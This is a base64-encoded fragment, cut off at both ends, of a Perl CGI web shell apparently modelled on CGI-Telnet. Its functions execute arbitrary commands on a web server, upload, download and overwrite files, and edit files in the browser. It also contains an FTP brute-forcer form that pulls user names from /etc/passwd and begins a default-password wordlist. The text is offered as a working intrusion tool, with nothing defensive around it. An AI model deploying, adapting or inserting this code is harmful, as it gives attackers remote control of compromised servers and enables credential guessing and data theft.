jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCg0KCX0NCglteSAkcmVzdWx0PSIiOw0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCg0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCg0KCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsNCgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7DQoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZpbGUgT3Blbg0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIEZpbGVPcGVuKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJbXkgJGJpbmFyeSA9IHNoaWZ0Ow0KCW15ICRyZXN1bHQgPSAiIjsNCglteSAkbiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJaWYob3BlbihGSUxFLCRmaWxlKSl7DQoJCQlpZigkYmluYXJ5KXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQl9DQoJCQl3aGlsZSAoKCRuID0gcmVhZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgew0KCQkJCSRyZXN1bHQgLj0gJGRhdGE7DQoJCQl9DQoJCQljbG9zZShGSUxFKTsNCgkJfQ0KCX1lbHNlDQoJew0KCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMz